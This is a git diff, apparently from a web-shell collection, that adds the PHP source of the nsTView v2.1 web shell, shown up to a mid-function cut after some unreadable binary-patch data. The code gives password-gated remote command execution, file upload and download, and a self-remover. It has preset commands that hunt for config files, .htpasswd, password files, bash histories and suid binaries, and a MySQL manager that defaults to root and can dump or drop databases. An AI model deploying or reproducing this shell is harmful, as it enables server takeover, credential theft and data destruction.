zVRH3?O&dn?hxMf>C;4qgEYSS(w6~O)&5|q*i!x5lkf+tmM;EccEchqcw^`ApYGqJ; zO?0UPdOZ4!2)3R5ljwadFfw;UwvY>hti)_|VDKA`wEmVX;Lcv_UuPPM#{xeY&HcBm zE{)c~iWi0b=l=vD_sM=8QKdB&_!*Y`-wwG<NE7fs?t{!q2kjikngv*I9WHi%I&o${ zfp4x`&q9%c61W8lMn{_Enn4_K`Gkwu$XD2YuUXOqA8#Mi{;PyES|*9Oiy81|yZqH> z8l$ufTj$D$tyqioA%CwwduJa)=`p|MNX+(PwWF;-RW$2er|SoddUH1T7L=1+_vTYk z^T2RqMg&4FjZsW3d<1a{;fx~?@6Rzwy8_1-2u7){^?y`tn`~Hff0O5|WrUJCjJB2i zNM~FbK{XL*5oPjB{}pwhF7=-EiM~_Hd^E+XGyI+X&2233=u6){+jOxjrW8W{)9(D| z=c9b!TJfVKUzQ6BzNcTgO>d*pQl`Y;=w$VcLOX!B;jkoaQHl95q~ur;;jkoV$~Dbm z8&i*#?k@{}rN>qT33_uc+m7CnI(Dh#4mc3~WM$n?$CL44w_1N`CH<oQ^EUdt3ym?l zw$AM2t(1YTgMNLF#0o2}_Zd0PX%MqizBx#fd|206?NzJ5$ujdy^7w<qT)g(q`LulW zJ8EBh)V4`|W5wR!-L7{gn+F|?u3)}(V)61qrAH<{;mWlGi=V>v${c)v(>sN3A=l)h zMw>CBk#i3SsV1jQ2K1a<EI3zyB=(@{jFcEK)2m~%VY)YPB_&T!XB$V3o{1fk@pf^U ziW()YRn-|i+8w6nFYUI9R=TP)cGlZhfQ(fC)U$~giJW*S*+ABNCx68(BQtc^mf^rm zUAzBFCoSuC5tM50-S<`nqxOl-OPU|6>#Es<1U?qB#z{pyRigE(p|va8E4AyE{UT6k zNbIQWbZH`Q*%yC_{@9nreNAU%^`>!d*@uBGfz6H2ENafYojFn2EU`-IGe%iqJpbXG z{=a%AOKgZY>zlD8cHeJMgN8%N!TLH7S0@ftwaHGrrJ%?U%P<npj25^@9TYEbwXDt6 zu38J8*zK<@IqiBs2ua|AHyI`6XX%hMd}yp3zPLJI=sU&rG0I#Jy;0rhw6rHunZ)AX zApZD(9$r~qZ2v@fM=UDQ)7R-*HR6<de3kQx0AoVM=5vKBpmPcaUnxL)-;Fh#^BRzI z54Wa!cgjoTK(g;wvhNKubQ(1g)@f4Rt){}Q->2Q&5y5dneN}i{23MPs!ky=?8hWZ} zITucdeKSHFyl%NRn)=)=s^(q@*zBWzUIKhlbB<h7t>(k~r1ksbY31zU+_w7srm@uo zQ8&{id+l3?#55RXY%dr2?U~rCifRb=zPmDar?FKH&!Xh3{HVldjvx{;xUL(nOv`_C z+j+D43?Dw^u?L5^8M9BR=R1IJ_Dq?;$%><nSU~#JM@&ff&=NA2MX@k>er7?TD=L9Y z@)F*k*YEkZ=~N7f`hIk>C_}!U0E@ysFSi$%e|6881UvNvA!as7ZXf^?fk<+EBSgIZ z4&eu+HoCY(d_%ashlJok*JYqlzjGxuN>z;bF7F!h1XD#Swi(GpTq*KA(UqOk%l28T z(6?DHMdT(tl43S$F+aLRB$9SXElJn++J~xip4ZKp>8ix&#Q+6%t6Zz2Y~wzr)n10v zQFGJroZ+u0@y0D=)^Qxx{F!?LmSpz;7V=hx;mn7hxDh6@Hp#~&nMRKDgVSI1I3(26 z*F9|5->2(RwMYQkI$q|;gOlT^EzdPH%sj|SZ(DD%P^dOu|D{uIH7&}7YEdFriC>o> z>iZ4U2xHs(anO>&k=KTDt|K|RcEmh;E3#PaZb{#>&iF4t6kd}y)HY8@v`2Mer#jKO zyUW=Y9B5A^(<}tyj{9~N%hDXnvM?+E$sP-YdG_F~7k#f8dK8i`++qK+p#G^eoaD<U zy~{hW|AB<Q1dUt(o$Dx^W2EoXc8lqRsypGBl6ZoBtW&UGp~B`&*@QTL!<9}p5Ht9} zkyn5+^1jLVi18fi-p%Xm`fYl?u-80pun5=mN#A+#`@@b!uvywT7)?_J<lG19*4U}* ziKFp@k>gKR+6`@G^h@dsA(tRy&-|h?1#)f{UN!xwEu$Wk@*NLJ;M6XslMdDPUo)3K zBFGyszkb9V%bA-!Io-ip^0wgeY~rZdgjDNJm0Jr-4HwAT3Ph>v>@NwQqMukzv_}nR z^&g=F%RC6Tt<G!4%qgFax4XCwf}RZtB+X(<y&dQDo{COwcO^%73!B&|k0jd)l2UJ~ zOovznIw-bEeNQ!`8#v%TQ@mVsUFPZ|wa{i$@)_aH#|u`j(ke1cuE~<tX-O`sg(fHE z+43)F?Mkxg*!fZVNM>Q%bJX->zDsiEW}{nS>9U+qXyNEaseiUNl(9RSojJkkj`aeH z7*%IGhM13&%u;>m=`*Rw2k*4-y95pM1j{s(CLLchR|Bm-0o9pE?xO|;#x)_W-`*lv z_2gV$Jr6i?n%@lmdJnp4xYFFUr(Hwkbn4ic;WY8MRh3C<4<(W=HMGj(F28oNOInr{ z#(U?_6Zg;FReyR{wiF$)gay<ORy-FIe|cS>g*}gY{TL_gLHp;3AN{{{UW4*d=8C0T z5^r?8JFYrJ8t3H{`Zf7Kv-Ff4>yRV}bZw_7b~N&7Q2FqU{~+Zv@-E`zBE<#|TS%%G z+ag<R=aNK;+$M~CO^$p>MjGxDtvaxIRqx{?I+1oW8FQ6+?k^N<`(jYjhV9`@xRJdS zEYe>d;_l!qP)4mm)AxD-U!FVGMY%6H)vKwLu}ON;!5i&=C{*!yeQ{W{E&$_|Ys=Jm zXX}&a)rVYoUo}ZI=~wR7Rwbhv9%|g~E7^-?QO{G~m_)f})b$P|?-ou{H*Z<+7s;_K z$J`#%hPb7?w0iUAGHO$s<3YaM+puL1_!(usPm(s0eMkI7iD1bWGabbCi)zv<w=bip z_pD^Bb~5{;sv0I2H4vDO4KrzKK1pg%9T4?()fFa?XZ$F-`vs5qYVcmLyMDdGGcVC0 zX3uD){=q~)SPPNhgd%+yUr1cFJ1+F(vBeVO4Kt(CG{(x;2jth=Y6&VP99+y*7bkD) zk5aL|Ve8R8o0+-fTO7%xNebaox14vT=o&^Eh#L?lPYZt>?YwRJI*_ZJJ?N?3p;{su zHUoP-@dshvc=~lscc^$j^kL$6E}KN_5dQ+B?Jo*fL$7GX56(Q1$lBAdF8@^VK7mVk zN-~Ny<~_?bHUHko!bTbD_z@<D6y%xeTl-qSaU-AJma5{#oQOS5P-BQiBfz2VMkFa? zyQa1JiLL*7&Vbo;2NQizF$cBkqLd1|W3EqYH^MR{I;C31{YHLen<M#YvB&5tpX1G> zCjt?0it)hc&liuzZZ!CQ5A4(y_S<%~(j78TR{<*1H=!?OY8+>{8NZT(=xnqCb9TXZ z7n~}41Ywu*vOdXdw-~pA;~gXogm#|uHhW&}m3WvFr~;yXQ>o$I;+LN0?jRp7!{@=C z@g-7>g3~8kolLNab(3XbldB$-0>M?n=E$iHcm;+hw8?(>#1Y-|Wl`%;cQ;Pui|yl- z@Y?(?70``dt=Jw1qbbFJ{3hu6d9odTcmm4?8(Y+e!&1p)=JSF{mR1gP86*h(Jbj_* zP(gvw9LKg+HC93kH##Cb!w7?0HgnDwM>!CR9SrK<S{xS=l6R^4<*&q4t?v_9O{Kmq z-oyeXxLO8N#jyT(d<`CuBbRAu8Q?*y9HGEwXv1LwIkvIxP(+2w4H-|j3H9cQ%?^}i z$4pe_=ohg;9woRZXqVjIe;n6HUK|G$$%>oz7a{7_ApX9yRW&tnst?m??@)@wsq#K@ z9N~%re}dH3FFo~Sr0vzzq&#|D9ADU6{l3MW^4i_AWmBiwXczZjFl&7gEpiK2i+K&d zS9Ns&^^bMiuM1nghI<@J(<kk6zTe;Qm^KfH3lPLK>xcHxjXi_aD=4r(_G%ZuP9EHQ zuVx7m>Cob*l#pA*B>GLCJ16#g7|*OqikFJ+gQadgE|znCR$>=llt7F<_mNUBqRwvk z4^T|06qR?mqLk;QxwU$`XvpIH;#5BuVu4`XLFrcY0;*&QYj&K~JfYt=Kcm3W9AViQ zYG)GIx85u)Fyn82rf2(Eu=%~XUD5R;jgL4wLQxJU6tn}|(fxf~+=HiICbP;KW^Zoi zqsdOLV~E<YK${j8Ag&IPU$*UoZOdK9@J6Y6k&1YQ;fS1P<INfSBFha&%yd}bGWd*h ziUtd0W+>recGPh6PLgAUzh{h(^fz;uw^Mv{FwX;UWANv2)JwralEuGlUPl$K)ZT!t z+sdEVma3Hs^gBC>F<(*iw(=w&LZov!#@}M`cnl!`3C-+YIO7{EM7F@lmY+8%(HPwN zrHD5gn~G)nkXsp1O+6mWufzY%aVi=V&Kmo{=*jNIw>ZKEuLsu56M*y9^AA|yNm0Ww zQ}mJ2^@e2^r2N)U60WX8swvs7Lw?XOAzgJK<QZ$y^uB~c25Pk%XW=r=IohX~7v%03 zv=MAq)&rsS582=ZFUith74>0(3%MxtMTRBxNd=CI_gk^c9vS#SD)Fwnn{S7i!@kXy zz@`hYW5C%MO0}&MkXY~Ofer32#)JMoaQPq9jo!#&!z|4wocCKyu|R{q`B^mhSButi zv!bp3pqC2E{{?7F?SGIs23E<xAz}W-ppwKe*~lL}nOjMR*zY*xf3xU;01cGk4;t)2 zl*6w`_J4PFtugnZ=pSs;|If}%t=^9BcxO2M;3!z{(@kwepQ6+_uk($MzH+9#9p7W? ckYJ_Du3=#nig$4ttOI0)asR*2@Uf%+2A5wyX#fBK literal 0 HcmV?d00001 diff --git a/php/PHPshell/nstview/nstview.php b/php/PHPshell/nstview/nstview.php new file mode 100644 index 0000000..4ecf4bb --- /dev/null +++ b/php/PHPshell/nstview/nstview.php @@ -0,0 +1,2136 @@ +<? +@session_start(); +@set_time_limit(0); +@set_magic_quotes_runtime(0); +error_reporting(E_ALL & ~E_NOTICE); +#####cfg##### +# use password true / false # +$create_password = true; +$password = "nst"; // default password for nstview, you can change it. + +# UNIX COMMANDS +# description (nst) command +# example: Shutdown (nst) shutdown -h now +$fast_commands = " +Show open ports (nst) netstat -an | grep LISTEN | grep tcp +last root (nst) last root +last (all users) (nst) last all +Find all config.php in / (nst) find / -type f -name config.php +Find all config.php in . (nst) find . -type f -name config.php +Find all admin.php in / (nst) find / -type f -name admin.php +Find all admin.php in . (nst) find . -type f -name admin.php +Find all config.inc.php in / (nst) find / -type f -name config.inc.php +Find all config.inc.php in . (nst) find . -type f -name config.inc.php +Find all config.inc in / (nst) find / -type f -name config.inc +Find all config.inc in . (nst) find . -type f -name config.inc +Find all config.dat in / (nst) find / -type f -name config.dat +Find all config.dat in . (nst) find . -type f -name config.dat +Find all config* in / (nst) find / -type f -name config* +Find all config* in . (nst) find . -type f -name config* +Find all pass* in / (nst) find / -type f -name pass* +Find all pass* in . (nst) find . -type f -name pass* +Find all .bash_history in / (nst) find / -type f -name .bash_history +Find all .bash_history in . (nst) find . -type f -name .bash_history +Find all .htpasswd in / (nst) find / -type f -name .htpasswd +Find all .htpasswd in . (nst) find . -type f -name .htpasswd +Find all writable dirs/files in / (nst) find / -perm -2 -ls +Find all writable dirs/files in . (nst) find . -perm -2 -ls +Find all suid files in / (nst) find / -type f -perm -04000 -ls +Find all suid files in . (nst) find . -type f -perm -04000 -ls +Find all sgid files in / (nst) find / -type f -perm -02000 -ls +Find all sgid files in . (nst) find . -type f -perm -02000 -ls +Find all .fetchmailrc files in / (nst) find / -type f -name .fetchmailrc +Find all .fetchmailrc files in . (nst) find . -type f -name .fetchmailrc +OS Version? (nst) sysctl -a | grep version +Kernel version? (nst) cat /proc/version +cat syslog.conf (nst) cat /etc/syslog.conf +Cat - Message of the day (nst) cat /etc/motd +Cat hosts (nst) cat /etc/hosts +Distrib name (nst) cat /etc/issue.net +Distrib name (2) (nst) cat /etc/*-realise +Display all process - wide output (nst) ps auxw +Display all your process (nst) ps ux +Interfaces (nst) ifconfig +CPU? (nst) cat /proc/cpuinfo +RAM (nst) free -m +HDD space (nst) df -h +List of Attributes (nst) lsattr -a +Mount options (nst) cat /etc/fstab +Is cURL installed? (nst) which curl +Is wGET installed? (nst) which wget +Is lynx installed? (nst) which lynx +Is links installed? (nst) which links +Is fetch installed? (nst) which fetch +Is GET installed? (nst) which GET +Is perl installed? (nst) which perl +Where is apache (nst) whereis apache +Where is perl (nst) whereis perl +locate proftpd.conf (nst) locate proftpd.conf +locate httpd.conf (nst) locate httpd.conf +locate my.conf (nst) locate my.conf +locate psybnc.conf (nst) locate psybnc.conf +"; + + + +# WINDOWS COMMANDS +# description (nst) command +# example: Delete autoexec.bat (nst) del c:\autoexec.bat +$fast_commands_win = " +OS Version (nst) ver +Tasklist (nst) tasklist +Attributes in . (nst) attrib +Show open ports (nst) netstat -an +"; + + + + + +######ver#### +$ver= "v2.1"; +############# +$pass=$_POST['pass']; +if($pass==$password){ +$_SESSION['nst']="$pass"; +} +if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"]; +else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; +else if($_SERVER["REMOTE_ADDR"]) $ip = $_SERVER["REMOTE_ADDR"]; +else $ip = $_SERVER['REMOTE_ADDR']; +$ip=htmlspecialchars($ip); + +if($create_password==true){ + +if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){ +die(" +<title>nsTView $ver:: nst.void.ru</title> +<center> +<table width=100 bgcolor=#D7FFA8 border=1 bordercolor=black><tr><td> +<font size=1 face=verdana><center> +<b>nsTView $ver :: <a href=http://nst.void.ru style='text-decoration:none;'><font color=black>nst.void.ru</font></a><br></b> +</center> +<form method=post> +Password:<br> +<input type=password name=pass size=30 tabindex=1> +</form> +<b>Host:</b> ".$_SERVER["HTTP_HOST"]."<br> +<b>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br> +<b>Your ip:</b> ".$ip." +</td></tr></table> +");} + +} +$d=$_GET['d']; + +function adds($editf){ +#if(get_magic_quotes_gpc()==0){ +$editf=addslashes($editf); +#} +return $editf; +} +function adds2($editf){ +if(get_magic_quotes_gpc()==0){ +$editf=addslashes($editf); +} +return $editf; +} + +$f = "nst_sql.txt"; +$f_d = $_GET['f_d']; + +if($_GET['download']){ +$download=$_GET['download']; +header("Content-disposition: attachment; filename=\"$download\";"); +readfile("$d/$download"); +exit;} + +if($_GET['dump_download']){ +header("Content-disposition: attachment; filename=\"$f\";"); +header("Content-length: ".filesize($f_d."/".$f)); +header("Expires: 0"); +readfile($f_d."/".$f); +if(is_writable($f_d."/".$f)){ +unlink($f_d."/".$f); +} +die; +} + + +$images=array(".gif",".jpg",".png",".bmp",".jpeg"); +$whereme=getcwd(); +@$d=@$_GET['d']; +$copyr = "<center><a href=http://nst.void.ru target=_blank>nsTView $ver<br>o... Network security team ...o</a>"; +$php_self=@$_SERVER['PHP_SELF']; +if(@eregi("/",$whereme)){$os="unix";}else{$os="win";} +if(!isset($d)){$d=$whereme;} +$d=str_replace("\\","/",$d); +if(@$_GET['p']=="info"){ +@phpinfo(); +exit;} +if(@$_GET['img']=="1"){ +@$e=$_GET['e']; +header("Content-type: image/gif"); +readfile("$d/$e"); +} +if(@$_GET['getdb']=="1"){ +header('Content-type: application/plain-text'); +header('Content-Disposition: attachment; filename=nst-mysql-damp.htm'); +} +print "<title>nsT View $ver</title> +<style> +BODY, TD, TR { +text-decoration: none; +font-family: Verdana; +font-size: 8pt; +SCROLLBAR-FACE-COLOR: #363d4e; +SCROLLBAR-HIGHLIGHT-COLOR: #363d4e; +SCROLLBAR-SHADOW-COLOR: #363d4e; +SCROLLBAR-ARROW-COLOR: #363d4e; +SCROLLBAR-TRACK-COLOR: #91AAFF +} +input, textarea, select { +font-family: Verdana; +font-size: 10px; +color: black; +background-color: white; +border: solid 1px; +border-color: black +} +UNKNOWN { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:link { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:hover { +COLOR: #FF0C0B; +TEXT-DECORATION: none +} +A:active { +COLOR: #0006DE; +TEXT-DECORATION: none +} +A:visited { +TEXT-DECORATION: none +} +</style> +<script> +function ShowOrHide(d1, d2) { +if (d1 != '') DoDiv(d1); +if (d2 != '') DoDiv(d2);} + +function DoDiv(id) { +var item = null; +if (document.getElementById) { +item = document.getElementById(id); +} else if (document.all){ +item = document.all[id]; +} else if (document.layers){ +item = document.layers[id];} +if (!item) {} +else if (item.style) { +if (item.style.display == \"none\"){ item.style.display = \"\"; } +else {item.style.display = \"none\"; } +}else{ item.visibility = \"show\"; }} + +function cwd(text){ +document.sh311Form.sh3.value+=\" \"+ text; +document.sh311Form.sh3.focus(); +} + + +</script> +"; +print "<body vlink=#0006DE> +<table width=600 border=0 cellpadding=0 cellspacing=1 bgcolor=#D7FFA8 align=center> +<tr><td><font face=wingdings size=2>0</font>"; +$expl=explode("/",$d); +$coun=count($expl); +if($os=="unix"){echo "<a href='$php_self?d=/'>/</a>";} +else{ + echo "<a href='$php_self?d=$expl[0]'>$expl[0]/</a>";} +for($i=1; $i<$coun; $i++){ + @$xx.=$expl[$i]."/"; +$sls="<a href='$php_self?d=$expl[0]/$xx'>$expl[$i]</a>/"; +$sls=str_replace("//","/",$sls); +$sls=str_replace("/'></a>/","/'></a>",$sls); +print $sls; +} +if(@ini_get("register_globals")){$reg_g="ON";}else{$reg_g="OFF";} +if(@ini_get("safe_mode")){$safe_m="ON";}else{$safe_m="OFF";} +echo "</td></tr>"; +if($os=="unix"){ echo " +<tr><td><b>id:</b> ".@exec('id')."</td></tr> +<tr><td><b>uname -a:</b> ".@exec('uname -a')."</td></tr>";} echo" +<tr><td><b>Your IP: [<font color=#5F3CC1>$ip</font>] Server IP: [<font color=#5F3CC1>".gethostbyname($_SERVER["HTTP_HOST"])."</font>] Server <a href=# title='Host.Domain'>H.D.</a>: [<font color=#5F3CC1>".$_SERVER["HTTP_HOST"]."</font>]</b><br> +[<b>Safe mode:</b> $safe_m] [<b>Register globals:</b> $reg_g]<br> +[<a href=# onClick=location.href=\"javascript:history.back(-1)\">Back</a>] +[<a href='$php_self'>Home</a>] +[<a href='$php_self?d=$d&sh311=1'>Shell (1)</a> <a href='$php_self?d=$d&sh311=2'>(2)</a>] +[<a href='$php_self?d=$d&t=upload'>Upload</a>] +[<a href='$php_self?t=tools'>Tools</a>] +[<a href='$php_self?p=info'>PHPinfo</a>] +[<a href='$php_self?delfolder=$d&d=$d&delfl=1&rback=$d' title='$d'>DEL Folder</a>] +[<a href='$php_self?p=sql'>SQL</a>] +[<a href='$php_self?p=selfremover'>Self Remover</a>] +</td></tr> +"; +if($os=="win"){ echo " +<tr><td bgcolor=white> +<center><font face=wingdings size=2><</font> +<a href='$php_self?d=a:/'>A</a> +<a href='$php_self?d=b:/'>B</a> +<a href='$php_self?d=c:/'>C</a> +<a href='$php_self?d=d:/'>D</a> +<a href='$php_self?d=e:/'>E</a> +<a href='$php_self?d=f:/'>F</a> +<a href='$php_self?d=g:/'>G</a> +<a href='$php_self?d=h:/'>H</a> +<a href='$php_self?d=i:/'>I</a> +<a href='$php_self?d=j:/'>J</a> +<a href='$php_self?d=k:/'>K</a> +<a href='$php_self?d=l:/'>L</a> +<a href='$php_self?d=m:/'>M</a> +<a href='$php_self?d=n:/'>N</a> +<a href='$php_self?d=o:/'>O</a> +<a href='$php_self?d=p:/'>P</a> +<a href='$php_self?d=q:/'>Q</a> +<a href='$php_self?d=r:/'>R</a> +<a href='$php_self?d=s:/'>S</a> +<a href='$php_self?d=t:/'>T</a> +<a href='$php_self?d=u:/'>U</a> +<a href='$php_self?d=v:/'>V</a> +<a href='$php_self?d=w:/'>W</a> +<a href='$php_self?d=x:/'>X</a> +<a href='$php_self?d=y:/'>Y</a> +<a href='$php_self?d=z:/'>Z</a> +</td></tr>";}else{echo "<tr><td>&nbsp;</td></tr>";} +print "<tr><td> +:: <a href='$php_self?d=$d&mkdir=1'>Create folder</a> :: +<a href='$php_self?d=$d&mkfile=1'>Create file</a> :: +<a href='$php_self?d=$d&read_file_safe_mode=1'>Read file if safe mode is On</a> ::"; +if($os=="unix"){ +print "<a href='$php_self?d=$d&ps_table=1'>PS table</a> ::"; +} +print "</td></tr>"; + + + + + +if($_GET['p']=="ftp"){ +print "<tr><td>"; + + + +print "</td></tr></table>"; +print $copyr; +exit; +} + + + + + + + + + + +if(@$_GET['p']=="sql"){ +print "<tr><td>"; +### + +$f_d = $_GET['f_d']; +if(!isset($f_d)){$f_d=".";} +if($f_d==""){$f_d=".";} + +$php_self=$_SERVER['PHP_SELF']; +$delete_table=$_GET['delete_table']; +$tbl=$_GET['tbl']; +$from=$_GET['from']; +$to=$_GET['to']; +$adress=$_POST['adress']; +$port=$_POST['port']; +$login=$_POST['login']; +$pass=$_POST['pass']; +$adress=$_GET['adress']; +$port=$_GET['port']; +$login=$_GET['login']; +$pass=$_GET['pass']; +$conn=$_GET['conn']; +if(!isset($adress)){$adress="localhost";} +if(!isset($login)){$login="root";} +if(!isset($pass)){$pass="";} +if(!isset($port)){$port="3306";} +if(!isset($from)){$from=0;} +if(!isset($to)){$to=50;} + + +?> +<style> +table,td{ +color: black; +font-face: verdana; +font-size: 11px; + +} +</style> +<font color=black face=verdana size=1> +<? if(!$conn){ ?> + +<!-- table 1 --> +<table bgcolor=#D7FFA8> +<tr><td valign=top>Address:</td><td><form><input name=adress value='<?=$adress?>' size=20><input name=port value='<?=$port?>' size=6></td></tr> +<tr><Td valign=top>Login: </td><td><input name=login value='<?=$login?>' size=10></td></tr> +<tr><Td valign=top>Pass:</td><td> <input name=pass value='<?=$pass?>' size=10><input type=hidden name=p value=sql></td></tr> +<tr><td></td><td><input type=submit name=conn value=Connect></form></td></tr><?}?> +<tr><td valign=top><? if($conn){ echo "<b>PHP v".@phpversion()."<br>mySQL v".@mysql_get_server_info()."<br>";}?></b></td><td></td></tr> +</table> +<!-- end of table 1 --> + + +<? +$conn=$_GET['conn']; +$adress=$_GET['adress']; +$port=$_GET['port']; +$login=$_GET['login']; +$pass=$_GET['pass']; +if($conn){ + +$serv = @mysql_connect($adress.":".$port, $login,$pass) or die("<font color=red>Error: ".mysql_error()."</font>"); +if($serv){$status="Connected. :: <a href='$php_self?p=sql'>Log out</a>";}else{$status="Disconnected.";} +print "<b><font color=green>Status: $status<br><br>"; # #D7FFA8 +print "<table cellpadding=0 cellspacing=0 bgcolor=#D7FFA8><tr><td valign=top>"; +print "<br><font color=red>[db]</font><Br>"; +print "<font color=white>"; +$res = mysql_list_dbs($serv); +while ($str=mysql_fetch_row($res)){ +print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&delete_db=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")'>[DEL]<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$str[0]&dump_db=$str[0]&f_d=$d'>[DUMP]</a></a> <b><a href='$php_self?baza=1&db=$str[0]&p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a></b><br>"; +$tc++; +} +$baza=$_GET['baza']; +$db=$_GET['db']; +print "<font color=red>[Total db: $tc]</font><br>"; +if($baza){ +print "<div align=left><font color=green>db: [$db]</div></font><br>"; +$result=@mysql_list_tables($db); +while($str=@mysql_fetch_array($result)){ +$c=mysql_query ("SELECT COUNT(*) FROM $str[0]"); +$records=mysql_fetch_array($c); + +if(strlen($str[0])>$s4ot){$s4ot=strlen($str[0]);} +if($records[0]=="0"){ +print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&delete_table=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")' title='Delete $str[0]?'>[D]</a><a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$str[0]' title='Rename $str[0]'>[R]</a><font color=red>[$records[0]]</font> <a href='$php_self?vnutr=1&p=sql&vn=$str[0]&baza=1&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]&ins_new_line=1'>$str[0]</a><br>"; +}else{ +print "<a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&delete_table=$str[0]' onclick='return confirm(\"DELETE $str[0] ?\")' title='Delete $str[0]?'>[D]</a><a href='$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1&rename_table=$str[0]' title='Rename $str[0]'>[R]</a><font color=red>[$records[0]]</font> <a href='$php_self?vnutr=1&p=sql&vn=$str[0]&baza=1&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a><br>"; +} +mysql_free_result($c); +$total_t++; +} +print "<br><B><font color=red>Total tables: $total_t</font></b>"; + print "<pre>"; +for($i=0; $i<$s4ot+10; $i++){print "&nbsp;";} + print "</pre>"; +} #end baza + + + + +# delete table +if(isset($delete_table)){ +mysql_select_db($_GET['db']) or die("<font color=red>".mysql_error()."</font>"); +mysql_query("DROP TABLE IF EXISTS $delete_table") or die("<font color=red>".mysql_error()."</font>"); +print "<br><b><font color=green>Table [ $delete_table ] :: Deleted success!</font></b>"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&db=$db&baza=1\">"; +} +# end of delete table + +# delete database +if(isset($_GET['delete_db'])){ +mysql_drop_db($_GET['delete_db']) or die("<font color=red>".mysql_error()."</font>"); +print "<br><b><font color=green>Database ".$_GET['delete_db']." :: Deleted Success!"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1\">"; +} +# end of delete database + +# delete row +if(isset($_POST['delete_row'])){ +$_POST['delete_row'] = base64_decode($_POST['delete_row']); +mysql_query("DELETE FROM ".$_GET['tbl']." WHERE ".$_POST['delete_row']) or die("<font color=red>".mysql_error()."</font>"); +$del_result = "<br><b><font color=green>Deleted Success!<br>".$_POST['delete_row']; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +} +# end of delete row + + +$vn=$_GET['vn']; +print "</td><td valign=top>"; +print "<font color=green>Database: $db => $vn</font>"; + +# edit row +if(isset($_POST['edit_row'])){ +$edit_row=base64_decode($_POST['edit_row']); + +$r_edit = mysql_query("SELECT * FROM $tbl WHERE $edit_row") or die("<font color=red>".mysql_error()."</font>"); +print "<br><br> + <table border=0 cellpadding=1 cellspacing=1><tr> + <td><b>Row</b></td><td><b>Value</b></td></tr>"; +print "<form method=post action='$php_self?p=sql&login=".$_GET['login']."&pass=".$_GET['pass']."&adress=".$_GET['adress']."&conn=1&baza=1&tbl=".$_GET['tbl']."&vn=".$_GET['vn']."&db=".$_GET['db']."'>"; +print "<input type=hidden name=edit_row value='".$_POST['edit_row']."'>"; +print " <input type=radio name=upd value=update checked>Update<br> + <input type=radio name=upd value=insert>Insert new<br><br>"; + + +$i=0; +while($mn = mysql_fetch_array($r_edit, MYSQL_ASSOC)){ +foreach($mn as $key =>$val){ +$type = mysql_field_type($r_edit, $i); +$len = mysql_field_len($r_edit, $i); +$del .= "`$key`='".adds($val)."' AND "; +$c=strlen($val); +$val=htmlspecialchars($val, ENT_NOQUOTES); +$str=" <textarea name='$key' cols=39 rows=5>$val</textarea> "; +$buff .= "<tr><td bgcolor=silver><b>$key</b><br><font color=green>(<b>$type($len)</b>)</font></td><td>$str</td></tr>"; +$i++; +} + +} +$delstring=base64_encode($del); +print "<input type=hidden name=delstring value=\"$delstring\">"; +print "$buff</table><br>"; +print "<br>"; +if(!$_POST['makeupdate']){print "<input type=submit value=Update name=makeupdate></form>";} + + + + +if($_POST['makeupdate']){ +if($_POST['upd']=='update'){ +preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3); +$delstring=$_POST['delstring']; +$delstring=base64_decode($delstring); +$delstring = substr($delstring, 0, strlen($delstring)-5); + +for($i=0; $i<count($matches3[0]); $i++){ +eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";"); +$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',"; +} +$total_str = substr_replace($total_str,"",-1); +$up_string = "UPDATE `$tbl` SET $total_str WHERE $delstring"; +$up_string = htmlspecialchars($up_string, ENT_NOQUOTES); +print "<b>PHP var:<br></b>\$sql=\"$up_string\";<br><br>"; +print "<meta http-equiv=\"REFRESH\" content=\"5;URL=$php_self?p=sql&login=$login&pass=$pass&adress=$adress&conn=1&vnutr=1&baza=1&vn=".$_GET['vn']."&db=$db&tbl=$tbl\">"; +mysql_query($up_string) or die("<font color=red>".mysql_error()."</font>"); +}#end of make update + + + +if($_POST['upd']=='insert'){ +preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3); +$delstring=$_POST['delstring']; +$delstring=base64_decode($delstring); +$delstring = substr($delstring, 0, strlen($delstring)-5); + +for($i=0; $i<count($matches3[0]); $i++){ +eval("\$".$matches3[1][$i]." = \"".adds2($_POST[$matches3[1][$i]])."\";"); +$total_str .= $matches3[1][$i]."='".adds2($_POST[$matches3[1][$i]])."',,"; +} + +$total_str = ",,".$total_str; + +preg_match_all("/,(.*?)='(.*?)',/i",$total_str,$matches4); + +for($i=0; $i<count($matches4[1]); $i++){ + $matches4[1][0]=str_replace(",","",$matches4[1][0]); + $total_m_i .= "`".$matches4[1][$i]."`,"; + $total_m_x .= "'".$matches4[2][$i]."',"; +} +$total_m_i = substr($total_m_i, 0, strlen($total_m_i)-1); +$total_m_x = substr($total_m_x, 0, strlen($total_m_x)-1); + +$make_insert="INSERT INTO `$tbl` ($total_m_i) VALUES ($total_m_x)"; 